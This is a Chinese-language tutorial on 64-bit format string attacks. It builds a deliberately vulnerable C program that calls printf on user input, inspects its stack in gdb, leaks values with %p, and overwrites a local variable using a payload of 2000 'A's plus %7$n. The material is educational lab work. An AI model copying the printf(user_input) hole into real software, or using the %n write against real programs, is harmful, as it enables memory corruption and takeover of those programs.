64位机器上的Format String攻击

0x00 Format String攻击基础

  1. printf里的%n意味将之前输出的字符的个数输入到指定的参数里,比如
    printf("aaa%n",&num);
    

    此时num的值为3。

  2. printf里的数字+$可以指定要输出第几个参数,比如:

    int num1 = 1;
    int num2 = 2;
    printf("%2$d,%1$d\n",num1,num2);
    

    输出为2,1。

  3. 本文实验环境为ubuntu 12.04,64bit,网上有一些32bit的攻击已经过时了。参考:how-to-use-format-string-attack

0x01 实践

假设我们有这样一个c文件,名为fmt.c:

#include <stdio.h>
int main(void)
{ 
    int flag = 0x1234567;
    int *p = &flag; 
    printf("%p\n",p);
    char a[100] = {1,2,3,4,5,6,7,8,9,10};
    scanf("%s",a);
    printf(a);
    if(flag == 2000) {
        printf("\ngood!!\n");
    }   

    return 0;
}

我们需要使用format string攻击将flag改为2000,触发if语句。

首席使用gcc -g fmt.c编译,然后objdump -d a.out,得到如下的汇编文件:

000000000040064d <main>:
  40064d:   55                      push   %rbp
  40064e:   48 89 e5                mov    %rsp,%rbp
  400651:   53                      push   %rbx
  400652:   48 81 ec 88 00 00 00    sub    $0x88,%rsp   ;rsp = rbp-0x88
  400659:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
  400660:   00 00  
  400662:   48 89 45 e8             mov    %rax,-0x18(%rbp)
  400666:   31 c0                   xor    %eax,%eax
  400668:   c7 85 74 ff ff ff 67    movl   $0x1234567,-0x8c(%rbp)   
  40066f:   45 23 01  
  400672:   48 8d 85 74 ff ff ff    lea    -0x8c(%rbp),%rax     ;rbp-0x8c = flag
  400679:   48 89 85 78 ff ff ff    mov    %rax,-0x88(%rbp)
  400680:   48 8b 85 78 ff ff ff    mov    -0x88(%rbp),%rax     ;rbp-0x88 = &flag
  400687:   48 89 c6                mov    %rax,%rsi
  40068a:   bf c4 07 40 00          mov    $0x4007c4,%edi
  40068f:   b8 00 00 00 00          mov    $0x0,%eax
  400694:   e8 87 fe ff ff          callq  400520 <printf@plt>
  400699:   48 8d 55 80             lea    -0x80(%rbp),%rdx
  40069d:   b8 00 00 00 00          mov    $0x0,%eax
  4006a2:   b9 0c 00 00 00          mov    $0xc,%ecx
  4006a7:   48 89 d7                mov    %rdx,%rdi
  4006aa:   f3 48 ab                rep stos %rax,%es:(%rdi)
  4006ad:   48 89 fa                mov    %rdi,%rdx
  4006b0:   89 02                   mov    %eax,(%rdx)
  4006b2:   48 83 c2 04             add    $0x4,%rdx
  4006b6:   c6 45 80 01             movb   $0x1,-0x80(%rbp)     ;fill char a[100]
  4006ba:   c6 45 81 02             movb   $0x2,-0x7f(%rbp)
  4006be:   c6 45 82 03             movb   $0x3,-0x7e(%rbp)
  4006c2:   c6 45 83 04             movb   $0x4,-0x7d(%rbp)
  4006c6:   c6 45 84 05             movb   $0x5,-0x7c(%rbp)
  4006ca:   c6 45 85 06             movb   $0x6,-0x7b(%rbp)
  4006ce:   c6 45 86 07             movb   $0x7,-0x7a(%rbp)
  4006d2:   c6 45 87 08             movb   $0x8,-0x79(%rbp)
  4006d6:   c6 45 88 09             movb   $0x9,-0x78(%rbp)
  4006da:   c6 45 89 0a             movb   $0xa,-0x77(%rbp)
  4006de:   48 8d 45 80             lea    -0x80(%rbp),%rax
  4006e2:   48 89 c6                mov    %rax,%rsi
  4006e5:   bf c8 07 40 00          mov    $0x4007c8,%edi
  4006ea:   b8 00 00 00 00          mov    $0x0,%eax
  4006ef:   e8 5c fe ff ff          callq  400550 <__isoc99_scanf@plt>  ;scanf
  4006f4:   48 8d 45 80             lea    -0x80(%rbp),%rax
  4006f8:   48 89 c7                mov    %rax,%rdi
  4006fb:   b8 00 00 00 00          mov    $0x0,%eax
  400700:   e8 1b fe ff ff          callq  400520 <printf@plt>          ;printf
  400705:   8b 85 74 ff ff ff       mov    -0x8c(%rbp),%eax             ;load value of flag
  40070b:   3d d0 07 00 00          cmp    $0x7d0,%eax                  ;load 2000
  400710:   75 0a                   jne    40071c <main+0xcf>           ;compare flag with 2000
  400712:   bf cb 07 40 00          mov    $0x4007cb,%edi
  400717:   e8 e4 fd ff ff          callq  400500 <puts@plt>
  40071c:   b8 00 00 00 00          mov    $0x0,%eax
  400721:   48 8b 5d e8             mov    -0x18(%rbp),%rbx
  400725:   64 48 33 1c 25 28 00    xor    %fs:0x28,%rbx
  40072c:   00 00
  40072e:   74 05                   je     400735 <main+0xe8>
  400730:   e8 db fd ff ff          callq  400510 <__stack_chk_fail@plt>
  400735:   48 81 c4 88 00 00 00    add    $0x88,%rsp
  40073c:   5b                      pop    %rbx
  40073d:   5d                      pop    %rbp
  40073e:   c3                      retq

运行gdb a.out,然后b main->r->n,一直执行n直到scanf("%s",a);这句,执行x/20xw $rsp+4,得到如下输出:

0x7fffffffde14: 0x01234567  0xffffde14  0x00007fff  0x04030201
0x7fffffffde24: 0x08070605  0x00000a09  0x00000000  0x00000000
0x7fffffffde34: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffde44: 0x00000000  0x00000000  0x00000000  0x00000000
0x7fffffffde54: 0x00000000  0x00000000  0x00000000  0x00000000

可以看到flag的值0x1234567存在$rsp+4的地方,而flag的地址(0xffffde14)则存在相邻的$rsp+8的地方。之后0x04030201,0x08070605,0x00000a09这三个恰好存的是数组a的值。

退出gdb,执行./a.out,输入%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.,得到输出:

0x7ffc81c92574
%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.
0x7ff23a62a9f0.0x1.(nil).(nil).(nil).0x123456781c925a0.0x7ffc81c92574.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.

输入%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.之前我们打印了flag的地址,为0x7ffc81c92574(该值每次会变),输入%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.之后我们得到了用点(.)分割的几个值,注意第6个值为0x1234567,恰好为flag的值,与之相邻的第7个值恰好为flag的地址。所以我们只要将第7个值所表示的地址里的数变为2000即可。

echo `python -c "print('A' * 2000)"`%7\$n > text
cat text | ./a.out

输出:

0x7fff9052eda4
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
good!!
Segmentation fault (core dumped)

至于为何是第7个值为flag的地址,这是因为进入printf函数是rsp又进行了sub,恰巧减了7个字长(64bit)的参数吧。

总结一下栈的状态:

before_printf
printf(a)被调用前的栈图示。

in_printf
printf(a)被调用时的栈图示。

0x02 一些细节

  1. 防止栈溢出
      400659:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
      400660:   00 00  
      400662:   48 89 45 e8             mov    %rax,-0x18(%rbp)
    

    这两句式从fs段里取一个数放在现在的栈底,可以看到main函数最后检查了这个值有没有改变(__stack_chk_fail@plt):

      400721:   48 8b 5d e8             mov    -0x18(%rbp),%rbx
      400725:   64 48 33 1c 25 28 00    xor    %fs:0x28,%rbx
      40072c:   00 00
      40072e:   74 05                   je     400735 <main+0xe8>
      400730:   e8 db fd ff ff          callq  400510 <__stack_chk_fail@plt>
    

0x03 疑问

问:在dump文件中我们可以看到rsp的值为rbp-0x88,但是实际上rsp的值应该为rbp-0x90,不然rsp+4的值无法是flag存储的位置(rbp-0x8c),用gdb a.out,然后disp $rsp, disp $rbp也可以发现,rsp确实等于rbp-0x90,不知道dump文件为何是如此的。

3: $rsp = (void *) 0x7fffffffde10
2: $rbp = (void *) 0x7fffffffdea0

答:在gdb中使用layout asm:

0x40064d <main>         push   %rbp                                                  
0x40064d <main>         push   %rbp                                                  
0x40064e <main+1>       mov    %rsp,%rbp                                             
0x400651 <main+4>       push   %rbx                                                  
0x400652 <main+5>       sub    $0x88,%rsp                                            
0x400659 <main+12>      mov    %fs:0x28,%rax                                         
0x400662 <main+21>      mov    %rax,-0x18(%rbp)                                      
0x400666 <main+25>      xor    %eax,%eax                                             
0x400668 <main+27>      movl   $0x1234567,-0x8c(%rbp)                                
0x400672 <main+37>      lea    -0x8c(%rbp),%rax                                      
0x400679 <main+44>      mov    %rax,-0x88(%rbp)                                      
0x400680 <main+51>      mov    -0x88(%rbp),%rax                                      
0x400687 <main+58>      mov    %rax,%rsi                                             
0x40068a <main+61>      mov    $0x4007c4,%edi                                        
0x40068f <main+66>      mov    $0x0,%eax                                             
0x400694 <main+71>      callq  0x400520 <printf@plt>                                 
0x400699 <main+76>      lea    -0x80(%rbp),%rdx                                      
0x40069d <main+80>      mov    $0x0,%eax                                             
0x4006a2 <main+85>      mov    $0xc,%ecx                                             
0x4006a7 <main+90>      mov    %rdx,%rdi                  

然后下断点b *0x40064d,r之后用ni单步执行,发现在push %rbx后rsp减了0x8,所以rbp之后只需要再减0x88即可。